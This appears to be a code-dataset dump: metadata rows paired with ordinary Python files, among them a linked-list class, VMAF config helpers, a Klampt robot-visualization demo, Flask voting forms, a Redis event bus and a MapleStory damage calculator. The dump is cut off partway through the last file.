| 26.975309 | 74 | 0.629291 | 268 | 2,185 | 5.022388 | 0.436567 | 0.041605 | 0.026746 | 0.023774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009634 | 0.287414 | 2,185 | 80 | 75 | 27.3125 | 0.854849 | 0.49611 | 0 | 0.111111 | 0 | 0 | 0.030238 | 0 | 0.037037 | 0 | 0 | 0 | 0 | 1 | 0.259259 | false | 0 | 0.111111 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0bae70c6125c8a050cfa3ee9b325f11242552dc6 | 576 | py | Python | DataStructures/LinkedList.py | bourneagain/pythonBytes | be115162147e52718aacbfb9cd2763aa02754f28 | [
"MIT"
] | 1 | 2017-05-29T02:02:27.000Z | 2017-05-29T02:02:27.000Z | DataStructures/LinkedList.py | bourneagain/pythonBytes | be115162147e52718aacbfb9cd2763aa02754f28 | [
"MIT"
] | null | null | null | DataStructures/LinkedList.py | bourneagain/pythonBytes | be115162147e52718aacbfb9cd2763aa02754f28 | [
"MIT"
] | null | null | null | """
Implementation of Node : linked list in Python
"""
class Node:
def __init__(self,initdata):
self.data = initdata
self.next = None
def getData(self):
return self.data
def getNext(self):
return self.next
def setData(self,newdata):
self.data = newdata
def setNext(self,newnext):
self.next = newnext
if False:
linkedList=Node("23")
print linkedList.getData()
linkedList.setData("123")
print linkedList.getData()
linkedList.setNext("890")
print linkedList.getNext()
""" | 19.2 | 46 | 0.616319 | 65 | 576 | 5.4 | 0.446154 | 0.068376 | 0.079772 | 0.182336 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019093 | 0.272569 | 576 | 30 | 47 | 19.2 | 0.818616 | 0 | 0 | 0.1 | 0 | 0 | 0.015296 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.15 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0bbc60a5893ac733485e1721617eecf3fdd903c6 | 6,348 | py | Python | python/src/vmaf/config.py | aachenmax/vmaf | e65143f36ac9324a1242614bdd6256861d4f46f6 | [
"BSD-2-Clause-Patent"
] | 1 | 2020-05-05T11:05:04.000Z | 2020-05-05T11:05:04.000Z | python/src/vmaf/config.py | aachenmax/vmaf | e65143f36ac9324a1242614bdd6256861d4f46f6 | [
"BSD-2-Clause-Patent"
] | null | null | null | python/src/vmaf/config.py | aachenmax/vmaf | e65143f36ac9324a1242614bdd6256861d4f46f6 | [
"BSD-2-Clause-Patent"
] | null | null | null | from __future__ import absolute_import
import os
__copyright__ = "Copyright 2016-2020, Netflix, Inc."
__license__ = "BSD+Patent"
PYTHON_ROOT = os.path.dirname(os.path.realpath(__file__))
ROOT = os.path.abspath(os.path.join(PYTHON_ROOT, '..', '..', '..',))
class VmafExternalConfig(object):
_MISSING_EXTERNAL_MESSAGE = """
Must install {name} and set {key} in %s/externals.py, e.g. add a line like
{key} = "[path to exec]/{name}"
""" % PYTHON_ROOT
@staticmethod
def _path_from_external(name):
"""
:param str name: Name of external configuration to look up
:return str: Configured path, if any
"""
try:
from . import externals
path = getattr(externals, name, None)
if path and os.path.exists(path):
return path
except ImportError:
print('ImportError')
pass
return None
@classmethod
def ffmpeg_path(cls):
"""
:return str: Path to ffmpeg, if installed and configured via `externals` module
"""
return cls._path_from_external('FFMPEG_PATH')
@classmethod
def matlab_path(cls):
"""
:return str: Path to matlab, if installed and configured via `externals` module
"""
return cls._path_from_external('MATLAB_PATH')
@classmethod
def matlab_runtime_path(cls):
"""
:return str: Path to matlab runtime, if installed and configured via `externals` module
"""
return cls._path_from_external('MATLAB_RUNTIME_PATH')
@classmethod
def cvx_path(cls):
"""
:return str: Path to cvx, if installed and configured via `externals` module
"""
return cls._path_from_external('CVX_PATH')
@classmethod
def psnr_path(cls):
"""
:return str: Path to external psnr executable, if installed and configured via `externals` module
"""
return cls._path_from_external('PSNR_PATH')
@classmethod
def moment_path(cls):
"""
:return str: Path to external moment executable, if installed and configured via `externals` module
"""
return cls._path_from_external('MOMENT_PATH')
@classmethod
def ssim_path(cls):
"""
:return str: Path to external ssim executable, if installed and configured via `externals` module
"""
return cls._path_from_external('SSIM_PATH')
@classmethod
def ms_ssim_path(cls):
"""
:return str: Path to external ms_ssim executable, if installed and configured via `externals` module
"""
return cls._path_from_external('MS_SSIM_PATH')
@classmethod
def vmaf_path(cls):
"""
:return str: Path to external vmaf executable, if installed and configured via `externals` module
"""
return cls._path_from_external('VMAF_PATH')
@classmethod
def vmafossexec_path(cls):
"""
:return str: Path to external vmafossexec executable, if installed and configured via `externals` module
"""
return cls._path_from_external('VMAFOSSEXEC_PATH')
@classmethod
def vmafrc_path(cls):
"""
:return str: Path to external vmafossexec executable, if installed and configured via `externals` module
"""
return cls._path_from_external('VMAFRC_PATH')
@classmethod
def get_and_assert_ffmpeg(cls):
path = cls.ffmpeg_path()
assert path is not None, cls._MISSING_EXTERNAL_MESSAGE.format(name='ffmpeg', key='FFMPEG_PATH')
return path
@classmethod
def get_and_assert_matlab(cls):
path = cls.matlab_path()
assert path is not None, cls._MISSING_EXTERNAL_MESSAGE.format(name='matlab', key='MATLAB_PATH')
return path
@classmethod
def get_and_assert_matlab_runtime(cls):
path = cls.matlab_runtime_path()
assert path is not None, \
"""Must install matlab runtime (v9.1) and set {key} in {root}/externals.py, e.g. add a line like {key} = "[path to matlab runtime]/v91"
""".format(root=PYTHON_ROOT, key='MATLAB_RUNTIME_PATH')
return path
@classmethod
def get_and_assert_cvx(cls):
path = cls.cvx_path()
assert path is not None, cls._MISSING_EXTERNAL_MESSAGE.format(name='cvx', key='CVX_PATH')
return path
class VmafConfig(object):
@classmethod
def root_path(cls, *components):
return os.path.join(ROOT, *components)
@classmethod
def file_result_store_path(cls, *components):
return cls.root_path('workspace', 'result_store_dir', 'file_result_store', *components)
@classmethod
def encode_store_path(cls, *components):
return cls.root_path('workspace', 'result_store_dir', 'encode_store', *components)
@classmethod
def workspace_path(cls, *components):
return cls.root_path('workspace', *components)
@classmethod
def workdir_path(cls, *components):
return cls.root_path('workspace', 'workdir', *components)
@classmethod
def model_path(cls, *components):
return cls.root_path('model', *components)
@classmethod
def resource_path(cls, *components):
return cls.root_path('resource', *components)
@classmethod
def test_resource_path(cls, *components):
return cls.root_path('python', 'test', 'resource', *components)
@classmethod
def tools_resource_path(cls, *components):
return cls.root_path('python', 'src', 'vmaf', 'tools', 'resource', *components)
@classmethod
def encode_path(cls, *components):
return cls.root_path('workspace', 'encode', *components)
class DisplayConfig(object):
@staticmethod
def show(**kwargs):
from vmaf import plt
if 'write_to_dir' in kwargs:
format = kwargs['format'] if 'format' in kwargs else 'png'
filedir = kwargs['write_to_dir'] if kwargs['write_to_dir'] is not None else VmafConfig.workspace_path('output')
if not os.path.exists(filedir):
os.makedirs(filedir)
for fignum in plt.get_fignums():
fig = plt.figure(fignum)
fig.savefig(os.path.join(filedir, str(fignum) + '.' + format), format=format)
else:
plt.show()
| 31.899497 | 147 | 0.638626 | 755 | 6,348 | 5.160265 | 0.157616 | 0.089836 | 0.064682 | 0.045175 | 0.518224 | 0.518224 | 0.493326 | 0.447125 | 0.375513 | 0.327259 | 0 | 0.002539 | 0.255514 | 6,348 | 198 | 148 | 32.060606 | 0.821837 | 0.177221 | 0 | 0.264463 | 0 | 0.008264 | 0.126384 | 0 | 0 | 0 | 0 | 0 | 0.066116 | 1 | 0.223141 | false | 0.008264 | 0.049587 | 0.082645 | 0.528926 | 0.008264 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
e7f9a690750eff2bc0ccbe8bbdae2136be695846 | 2,880 | py | Python | Python/demos/visplugin.py | hpbader42/Klampt | 89faaef942c0c6fca579a3770314c6610e2ac772 | [
"BSD-3-Clause"
] | null | null | null | Python/demos/visplugin.py | hpbader42/Klampt | 89faaef942c0c6fca579a3770314c6610e2ac772 | [
"BSD-3-Clause"
] | null | null | null | Python/demos/visplugin.py | hpbader42/Klampt | 89faaef942c0c6fca579a3770314c6610e2ac772 | [
"BSD-3-Clause"
] | 1 | 2019-07-01T08:48:32.000Z | 2019-07-01T08:48:32.000Z | #!/usr/bin/python
import sys
from klampt import *
from klampt.math import *
from klampt import vis
from klampt.model import collide
import time
class MyGLPlugin(vis.GLPluginInterface):
def __init__(self,world):
vis.GLPluginInterface.__init__(self)
self.world = world
self.collider = collide.WorldCollider(world)
self.quit = False
def mousefunc(self,button,state,x,y):
#Put your mouse handler here
#the current example prints out the list of objects clicked whenever
#you right click
print "mouse",button,state,x,y
if button==2:
if state==0:
print "Click list...",[o.getName() for o in self.click_world(x,y)]
return True
return False
def motionfunc(self,x,y,dx,dy):
return False
def keyboardfunc(self,c,x,y):
print "Pressed",c
if c == 'q':
self.quit = True
return True
return False
def click_world(self,x,y):
"""Helper: returns a list of world objects sorted in order of
increasing distance."""
#get the viewport ray
(s,d) = self.click_ray(x,y)
#run the collision tests
collided = []
for g in self.collider.geomList:
(hit,pt) = g[1].rayCast(s,d)
if hit:
dist = vectorops.dot(vectorops.sub(pt,s),d)
collided.append((dist,g[0]))
return [g[1] for g in sorted(collided)]
if __name__ == "__main__":
print "visplugin.py: This example demonstrates how to simulate a world and read user input using the klampt.vis framework"
if len(sys.argv)<=1:
print "USAGE: visplugin.py [world_file]"
exit()
world = WorldModel()
for fn in sys.argv[1:]:
res = world.readFile(fn)
if not res:
raise RuntimeError("Unable to load model "+fn)
world.enableInitCollisions(True)
#the plugin is pushed on the visualizer stack to get interactivity with the visualizer... if you
#don't care about interactivity, you may leave it out. See vistemplate.py for
#an example of this
plugin = MyGLPlugin(world)
vis.pushPlugin(plugin)
#add the world to the visualizer
vis.add("world",world)
vis.listItems()
vis.setColor(("world","Terrain0"),1,0,0)
vis.setColor(("world","ATHLETE","hex pitch"),0.5,0.5,0.5,0.5)
q0 = world.robot(0).getConfig()
q1 = q0[:]
q1[0] += 1
vis.animate(("world","ATHLETE"),[q0,q1],speed=0.2)
print "Press 'q' to exit"
#run the visualizer in a separate thread
vis.show()
while vis.shown() and not plugin.quit:
vis.lock()
#TODO: you may modify the world here
vis.unlock()
#changes to the visualization must be done outside the lock
time.sleep(0.01)
print "Ending visualization."
vis.kill()
| 31.304348 | 126 | 0.610417 | 403 | 2,880 | 4.312655 | 0.42928 | 0.008055 | 0.024166 | 0.006904 | 0.032221 | 0.004603 | 0 | 0 | 0 | 0 | 0 | 0.015865 | 0.277778 | 2,880 | 91 | 127 | 31.648352 | 0.819712 | 0.180903 | 0 | 0.076923 | 0 | 0.015385 | 0.128717 | 0 | 0 | 0 | 0 | 0.010989 | 0 | 0 | null | null | 0 | 0.092308 | null | null | 0.107692 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f001c58c6f2c8d058d1226b816798f8085acbcfb | 662 | py | Python | forms.py | Qwaz/blind-vote | eabec7418c6c4ed00006cfdb19e47f758670dbe6 | [
"MIT"
] | 1 | 2015-12-12T02:57:08.000Z | 2015-12-12T02:57:08.000Z | forms.py | Qwaz/blind-vote | eabec7418c6c4ed00006cfdb19e47f758670dbe6 | [
"MIT"
] | null | null | null | forms.py | Qwaz/blind-vote | eabec7418c6c4ed00006cfdb19e47f758670dbe6 | [
"MIT"
] | null | null | null | from flask.ext.wtf import Form
from wtforms import StringField, TextAreaField, HiddenField, RadioField
from wtforms.validators import DataRequired
class InitForm(Form):
master = HiddenField('마스터키')
vote_name = StringField('투표명', validators=[DataRequired()])
detail = TextAreaField('질문')
response = StringField('답변(쉼표로 구분)', validators=[DataRequired()])
class StartForm(Form):
master = StringField('마스터키', validators=[DataRequired()])
keys = TextAreaField('키 목록', validators=[DataRequired()])
class VoteForm(Form):
key = StringField('키', validators=[DataRequired()])
selection = RadioField('투표', validators=[DataRequired()])
| 31.52381 | 71 | 0.722054 | 67 | 662 | 7.119403 | 0.507463 | 0.27673 | 0.113208 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137462 | 662 | 20 | 72 | 33.1 | 0.835377 | 0 | 0 | 0 | 0 | 0 | 0.045317 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
f0055b3b0e6a8715ac080cc41c7e81b6f0d2bfdc | 205 | py | Python | tests/farm/annotate/src/b/b.py | AboudFayad/coveragepy | b9c84eb813ad23f053120b8dad31b635c81376ae | [
"Apache-2.0"
] | 1 | 2021-01-03T00:57:40.000Z | 2021-01-03T00:57:40.000Z | tests/farm/annotate/src/b/b.py | AboudFayad/coveragepy | b9c84eb813ad23f053120b8dad31b635c81376ae | [
"Apache-2.0"
] | 1 | 2018-11-04T10:30:13.000Z | 2018-11-04T10:30:13.000Z | tests/farm/annotate/src/b/b.py | AboudFayad/coveragepy | b9c84eb813ad23f053120b8dad31b635c81376ae | [
"Apache-2.0"
] | 2 | 2018-10-23T08:54:38.000Z | 2018-11-22T10:14:26.000Z | # Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0
# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt
def b(x):
msg = "x is %s" % x
print(msg)
| 29.285714 | 79 | 0.692683 | 34 | 205 | 4.176471 | 0.852941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011429 | 0.146341 | 205 | 6 | 80 | 34.166667 | 0.8 | 0.731707 | 0 | 0 | 0 | 0 | 0.134615 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.333333 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f0083420981ba5771b36fe22a235853be485cc25 | 2,083 | py | Python | holmes/event_bus.py | scorphus/holmes-api | 6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59 | [
"MIT"
] | null | null | null | holmes/event_bus.py | scorphus/holmes-api | 6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59 | [
"MIT"
] | null | null | null | holmes/event_bus.py | scorphus/holmes-api | 6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
import logging
from collections import defaultdict
from time import time
from ujson import loads
class NoOpEventBus(object):
def __init__(self, application):
self.application = application
def subscribe(self, channel, uuid, handler):
pass
def unsubscribe(self, channel, uuid):
pass
def publish(self, message):
pass
def flush(self):
pass
class EventBus(object):
def __init__(self, application):
self.application = application
self.handlers = defaultdict(dict)
self.last_message = {}
self.throttling = self.application.config.EVENT_BUS_THROTTLING_MESSAGE_TYPE
self.publish_items = []
self.application.redis_pub_sub.subscribe('events', self.on_message)
def subscribe(self, channel, uuid, handler):
self.handlers[channel][uuid] = handler
def unsubscribe(self, channel, uuid):
if self.handlers.get(channel, {}).get(uuid, None) is None:
return
del self.handlers[channel][uuid]
def publish(self, message):
self.publish_items.append(('events', message))
def flush(self):
for channel, message in self.publish_items:
logging.debug('Publishing message to %s...' % channel)
self.application.redis.publish(channel, message)
self.publish_items = []
def get_time(self):
return time()
def on_message(self, message):
if message is None:
return
msg_type, msg_channel, msg_value = message
if msg_type != 'message':
return
msg_obj = loads(msg_value)
tp = msg_obj['type']
if tp in self.throttling and tp in self.last_message and self.get_time() - self.last_message[tp] <= self.throttling[tp]:
return
logging.debug("%s on %s for %s" % (msg_type, msg_channel, msg_value))
self.last_message[tp] = self.get_time()
for handler in self.handlers.get(msg_channel, {}).values():
handler(msg_value)
| 26.0375 | 128 | 0.630821 | 252 | 2,083 | 5.059524 | 0.253968 | 0.082353 | 0.047059 | 0.026667 | 0.255686 | 0.177255 | 0.084706 | 0.084706 | 0 | 0 | 0 | 0.000651 | 0.262122 | 2,083 | 79 | 129 | 26.367089 | 0.828887 | 0.018243 | 0 | 0.423077 | 0 | 0 | 0.031816 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0.076923 | 0.076923 | 0.019231 | 0.442308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
f0102ac51a4a849b42b5e7929bad3c6b7af9d2c2 | 391 | py | Python | models/user.py | MikuEngineering/missue-tracker-linebot | e6230f84d589610548a1d8403f66911656e2d716 | [
"MIT"
] | null | null | null | models/user.py | MikuEngineering/missue-tracker-linebot | e6230f84d589610548a1d8403f66911656e2d716 | [
"MIT"
] | null | null | null | models/user.py | MikuEngineering/missue-tracker-linebot | e6230f84d589610548a1d8403f66911656e2d716 | [
"MIT"
] | null | null | null | from extensions.db import db
class User(db.Model):
user_id = db.Column(db.String(60), primary_key=True)
token = db.Column(db.String(60), unique=True, index=True)
@staticmethod
def find(user_id: str):
return User.query.filter_by(user_id=user_id).first()
@staticmethod
def find_by_token(token: str):
return User.query.filter_by(token=token).first()
| 26.066667 | 61 | 0.68798 | 60 | 391 | 4.333333 | 0.433333 | 0.092308 | 0.076923 | 0.123077 | 0.338462 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0.0125 | 0.181586 | 391 | 14 | 62 | 27.928571 | 0.8 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.1 | 0.2 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
f02ae3fb2cc300567de2fb3581432f7dba9c67f5 | 9,118 | py | Python | dpmModule/jobs/captain.py | kmsiapps/maplestory_dpm_calc | fbbc5384fdb6aefb58aa4d0d286a6c2972807d57 | [
"MIT"
] | null | null | null | dpmModule/jobs/captain.py | kmsiapps/maplestory_dpm_calc | fbbc5384fdb6aefb58aa4d0d286a6c2972807d57 | [
"MIT"
] | null | null | null | dpmModule/jobs/captain.py | kmsiapps/maplestory_dpm_calc | fbbc5384fdb6aefb58aa4d0d286a6c2972807d57 | [
"MIT"
] | null | null | null | from ..kernel import core
from ..kernel.core import VSkillModifier as V
from ..character import characterKernel as ck
from functools import partial
from ..status.ability import Ability_tool
from . import globalSkill
from .jobbranch import pirates
from .jobclass import adventurer
from . import jobutils
class JobGenerator(ck.JobGenerator):
def __init__(self):
super(JobGenerator, self).__init__()
self.buffrem = False
self.jobtype = "dex"
self.vEnhanceNum = 14
self.ability_list = Ability_tool.get_ability_set('boss_pdamage', 'buff_rem', 'crit')
self.preEmptiveSkills = 1
def get_passive_skill_list(self):
CriticalRoar = core.InformedCharacterModifier("크리티컬 로어",crit = 20, crit_damage = 5)
PhisicalTraining = core.InformedCharacterModifier("피지컬 트레이닝",stat_main = 30, stat_sub = 30)
HalopointBullet = core.InformedCharacterModifier("할로포인트 불릿",att = 60)
FullMetaJacket = core.InformedCharacterModifier("풀 메탈 재킷",pdamage_indep = 20, crit = 30, armor_ignore = 20)
ContinualAimingPassive = core.InformedCharacterModifier("컨티뉴얼 에이밍(패시브)",crit_damage = 20)
CaptainDignitiyPassive = core.InformedCharacterModifier("캡틴 디그니티(패시브)",att = 30)
CrueCommandership = core.InformedCharacterModifier("크루 커맨더쉽",crit_damage = 25)
LoadedDicePassive = pirates.LoadedDicePassiveWrapper(self.vEhc, 1, 2)
return [CriticalRoar, PhisicalTraining, HalopointBullet, ContinualAimingPassive,
FullMetaJacket, CaptainDignitiyPassive, CrueCommandership]
def get_not_implied_skill_list(self):
WeaponConstant = core.InformedCharacterModifier("무기상수",pdamage_indep = 50)
Mastery = core.InformedCharacterModifier("숙련도",pdamage_indep = -7.5)
ContinualAimingPassive = core.InformedCharacterModifier("컨티뉴얼 에이밍(액티브)",pdamage_indep = 25)
return [WeaponConstant, Mastery, ContinualAimingPassive]
def generate(self, vEhc, chtr : ck.AbstractCharacter, combat : bool = False):
'''
----정보---
크루 커멘더쉽 : 최종뎀 15%
무라트 : 500 크뎀5
발레리 : 560 크리15
잭 : 320
스토너 : 480
두명 소환
하이퍼 : 레피드파이어 : 보스킬러, 리인포스, 애드레인지
헤드샷 - 보너스 어택, 리인포스
데드아이 조준률 3배
서먼 크루 분당 17타, 평균 퍼뎀 465
봄버 평균 데미지 600ms당 249%x3
퀵드로우 미사용
5차 강화
래피드/퍼실/디그니티
헤드샷 / 배틀쉽/ 옥타
서먼크루 / 스트봄 / 노틸러스
'''
DEADEYEACC = 3
BULLET_PARTY_TICK = 120
###### Skill ######
#Buff skills
SummonCrew = core.SummonSkill("서먼 크루", 900, 60000/17, 465 * 1.15, 2, 120000, rem = True).setV(vEhc, 6, 2, True).wrap(core.SummonSkillWrapper) #분당 17타, 평균 퍼뎀 465
SummonCrewBuff = core.BuffSkill("서먼 크루(버프)", 0, 120000, rem = True, crit = 15/2, crit_damage = 5/2, cooltime = -1, att = 45).wrap(core.BuffSkillWrapper)
OctaQuaterdeck = core.SummonSkill("옥타 쿼터덱", 630, 60000/110, 300, 1, 30000, rem = True, cooltime = 10000).setV(vEhc, 5, 2, True).wrap(core.SummonSkillWrapper)
RapidFire = core.DamageSkill("래피드 파이어", 120, 325, 1, modifier = core.CharacterModifier(pdamage = 30, boss_pdamage = 20)).setV(vEhc, 0, 2, True).wrap(core.DamageSkillWrapper)
# TODO : 지속시간 30초 -> 60초, 쿨타임 60초 -> 30초
# 소환수 데미지 변경 계산 필요
BattleshipBomber = core.DamageSkill("배틀쉽 봄버", 0,0,0, red = True, cooltime = 60000).wrap(core.DamageSkillWrapper)
BattleshipBomber_1_ON = core.BuffSkill("배틀쉽봄버-1", 0, 30000, rem = True, cooltime = -1).wrap(core.BuffSkillWrapper)
BattleshipBomber_2_ON = core.BuffSkill("배틀쉽봄버-2", 0, 30000, rem = True, cooltime = -1).wrap(core.BuffSkillWrapper)
BattleshipBomber_1 = core.SummonSkill("배틀쉽 봄버(소환,1)", 300, 600, 297, 3, 30000, rem = True, cooltime = -1).setV(vEhc, 4, 2, True).wrap(core.SummonSkillWrapper)
BattleshipBomber_2 = core.SummonSkill("배틀쉽 봄버(소환, 2)", 300, 600, 297, 3, 30000, rem = True, cooltime = -1).setV(vEhc, 4, 2, True).wrap(core.SummonSkillWrapper)
'''
돈틀레스 : 330 보통 13/22 타수3 600
블랙바크 : 445 느림 15/18 타수3 810
슈린츠 : 200 빠름 15/27 타수3 570
조나단 : 320 보통 12/20 타수3 600
평균 데미지 600ms당 297
'''
Headshot = core.DamageSkill("헤드 샷", 420, 525, 12+1, cooltime = 5000, modifier = core.CharacterModifier(crit=100, armor_ignore=60, pdamage = 20)).setV(vEhc, 3, 2, True).wrap(core.DamageSkillWrapper)
Nautilus = core.DamageSkill("노틸러스", 690, 440+130, 7, red = True, cooltime = 30000).setV(vEhc, 8, 2, True).wrap(core.DamageSkillWrapper)
PirateStyle = core.BuffSkill("파이렛 스타일", 0, 180000, rem = True, patt = 20).wrap(core.BuffSkillWrapper)
CaptainDignitiyNormal = core.DamageSkill("캡틴 디그니티", 0, 275, 1).setV(vEhc, 1, 2, True).wrap(core.DamageSkillWrapper)
CaptainDignitiyEnhance = core.DamageSkill("캡틴 디그니티(강화)", 0, 275*1.3, 1).setV(vEhc, 1, 2, True).wrap(core.DamageSkillWrapper, name = "디그니티(강화)")
QuickDraw = core.BuffSkill("퀵 드로우", 0, core.infinite_time(), cooltime = -1, pdamage_indep = 25).wrap(core.BuffSkillWrapper)
Booster = core.BuffSkill("부스터", 0, 180000, rem = True).wrap(core.BuffSkillWrapper)
InfiniteBullet = core.BuffSkill("인피닛 불릿", 0, 180000, rem = True).wrap(core.BuffSkillWrapper)
LuckyDice = core.BuffSkill("로디드 다이스", 0, 180*1000, pdamage = 20 * 4 / 3, crit = 15 * 2/3 - 5 /36).isV(vEhc,1,2).wrap(core.BuffSkillWrapper)
#1중첩 럭다 재사용 50초 감소 / 방어력30% / 체엠 20% / 크리율15% / 뎀증20 / 경치30
#2중첩 럭다 재사용 50초 감소 / 방어력40% / 체엠 30% / 크리율25% / 뎀증30 / 경치40
#7 발동시 방무 20 -> 30
UnwierdingNectar = core.BuffSkill("언위어링 넥타", 1170, 180000, crit=10).wrap(core.BuffSkillWrapper)
EpicAdventure = core.BuffSkill("에픽 어드벤처", 0, 60*1000, cooltime = 120 * 1000, pdamage = 10).wrap(core.BuffSkillWrapper)
PirateFlag = adventurer.PirateFlagWrapper(vEhc, 2, 1, chtr.level)
#오버드라이브 (앱솔 가정)
#TODO: 템셋을 읽어서 무기별로 다른 수치 적용하도록 만들어야 함.
WEAPON_ATT = jobutils.get_weapon_att("건")
Overdrive, OverdrivePenalty = pirates.OverdriveWrapper(vEhc, 4, 4, WEAPON_ATT)
BulletParty = core.DamageSkill("불릿 파티", 0, 0, 0, cooltime = 75000).wrap(core.DamageSkillWrapper)
BulletPartyTick = core.DamageSkill("불릿 파티(틱)", BULLET_PARTY_TICK, 230+9*vEhc.getV(5,5), 5).isV(vEhc,5,5).wrap(core.DamageSkillWrapper) #12초간 지속 -> 50회 시전
DeadEye = core.DamageSkill("데드아이", 600, (800+32*vEhc.getV(3,3))*3, 6, cooltime = 30000, red = True, modifier = core.CharacterModifier(crit = 100, pdamage_indep = 4*11)).isV(vEhc,3,3).wrap(core.DamageSkillWrapper)
NautillusAssult = core.SummonSkill("노틸러스 어썰트", 900, 360, 600+24*vEhc.getV(0,0), 6, 360*7-1, red = True, cooltime = 180000).isV(vEhc,0,0).wrap(core.SummonSkillWrapper)#7회 2초간
NautillusAssult_2 = core.SummonSkill("노틸러스 어썰트(2)", 0, 160, 300+12*vEhc.getV(0,0), 12, 160*36-1, cooltime = -1).isV(vEhc,0,0).wrap(core.SummonSkillWrapper)#36회 6초간
###### Skill Wrapper ######
#크루 사용 후 버프 제공
SummonCrew.onAfter(SummonCrewBuff)
#배틀쉽은 둘 중 꺼져있는걸로 시전
BattleshipBomber.onAfter(core.OptionalElement(BattleshipBomber_1.is_active, BattleshipBomber_2, BattleshipBomber_1))
BattleshipBomber_1.onAfter(BattleshipBomber_1_ON)
BattleshipBomber_2.onAfter(BattleshipBomber_2_ON)
#노틸러스 이후 배틀쉽 쿨감
NautilusConstraint = core.ConstraintElement("배틀쉽 쿨이 20초 이상", BattleshipBomber, partial(BattleshipBomber.is_cooltime_left, 20000, 1))
Nautilus.onAfter(BattleshipBomber.controller(0.5, "reduce_cooltime_p"))
Nautilus.onConstraint(NautilusConstraint)
# 퀵 드로우
QuickDrawShutdownTrigger = QuickDraw.controller(core.infinite_time())
for start, end in [
[DeadEye, DeadEye]]:
start.onBefore(QuickDraw)
end.onAfter(QuickDrawShutdownTrigger)
#디그니티는 노틸러스 쿨을 반영
CaptainDignitiy = core.OptionalElement(Nautilus.is_usable, CaptainDignitiyNormal, CaptainDignitiyEnhance)
#노틸러스 어썰트는 2개로 분리되어 잇음
NautillusAssult.onAfter(NautillusAssult_2)
#디그니티
RapidFire.onAfter(CaptainDignitiy)
#불릿파티
BulletParty.onAfter(core.RepeatElement(BulletPartyTick, 12 * 1000 // BULLET_PARTY_TICK))
QuickDraw.set_disabled_and_time_left(-1)
return (RapidFire,
[globalSkill.maple_heros(chtr.level), globalSkill.useful_sharp_eyes(),
SummonCrewBuff, PirateStyle, Booster, InfiniteBullet, LuckyDice, UnwierdingNectar, EpicAdventure, PirateFlag, Overdrive, OverdrivePenalty,
BattleshipBomber_1_ON, BattleshipBomber_2_ON, QuickDraw,
globalSkill.soul_contract()] +\
[BattleshipBomber, Headshot, Nautilus, DeadEye] +\
[OctaQuaterdeck, BattleshipBomber_1, BattleshipBomber_2, NautillusAssult, NautillusAssult_2, SummonCrew] +\
[BulletParty] +\
